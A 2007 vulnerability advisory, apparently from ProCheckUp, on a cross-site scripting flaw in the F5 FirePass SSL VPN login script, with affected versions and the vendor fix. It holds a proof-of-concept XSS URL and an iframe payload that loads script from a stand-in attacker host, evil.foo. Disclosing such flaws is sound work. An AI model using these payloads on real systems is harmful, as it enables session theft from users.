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PR07-15: Cross-site Scripting (XSS) / HTML injection on F5 FirePass 4100 SSL VPN 'my.logon.php3' server-side script

From: research () procheckup com
Date: 30 Nov 2007 11:50:04 -0000

PR07-15: Cross-site Scripting (XSS) / HTML injection on F5 FirePass 4100 SSL VPN 'my.logon.php3' server-side script

Date Found: 19th June 2007

Successfully tested on: version 5.5.2

F5 Networks has confirmed the following versions to be vulnerable:

FirePass versions 5.4.1 - 5.5.2
FirePass versions 6.0 - 6.0.1


Description:

F5 Networks FirePass 4100 SSL VPN is vulnerable to XSS within the "my.logon.php3" server-side script.

No authentication is required to exploit this vulnerability.


Consequences:

An attacker may be able to cause execution of malicious scripting code in the browser of a user who visits a 
specially-crafted URL to an F5 Firepass device, or visits a malicious page that makes a request to such URL. Such code 
would run within the security context of the target domain.

This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential 
information (i.e. admin session IDs) to unauthorised third parties. 


Proof of concept (PoC) URL:

https://target.tld/my.logon.php3?";></script><textarea>HTML_injection_test</textarea><!--

The payload in the example is 

"></script><textarea>HTML_injection_test</textarea><!--

which injects a 'textarea' box


The following PoC HTML page would run JavaScript without any restrictions from a third-party file 
('http://www.evil.foo/b&apos; in this case):

<html>

<iframe src="https://target.tld/my.logon.php3?%22%3E%3C/script%3E%3Cscript%3Eeval%28name%29%3C/script%3E%3C%21--"; 
width="0%" height="0%" 
name="xss=document.body.appendChild(document.createElement('script'));xss.setAttribute('src','http://www.evil.foo/b&apos;)"></iframe>

</html>



Successfully tested on:

Server environment:

F5 FirePass 4100

Client environment:

Microsoft Internet Explorer 7.0.5730.11


Severity: Medium/High


Author: Richard Brain of ProCheckUp Ltd (www.procheckup.com)

With thanks to Petko D. Petkov for suggesting the eval(name) technique.


References:

http://www.procheckup.com/Vulnerability_2007.php
http://www.f5.com/products/FirePass/


ProCheckUp thanks F5 Networks for working with us.


Fix:

F5 Networks has issued SOL7923:

https://support.f5.com/kb/en-us/solutions/public/7000/900/SOL7923.html?sr=1

Current thread:

PR07-15: Cross-site Scripting (XSS) / HTML injection on F5 FirePass 4100 SSL VPN 'my.logon.php3' server-side script research (Nov 30)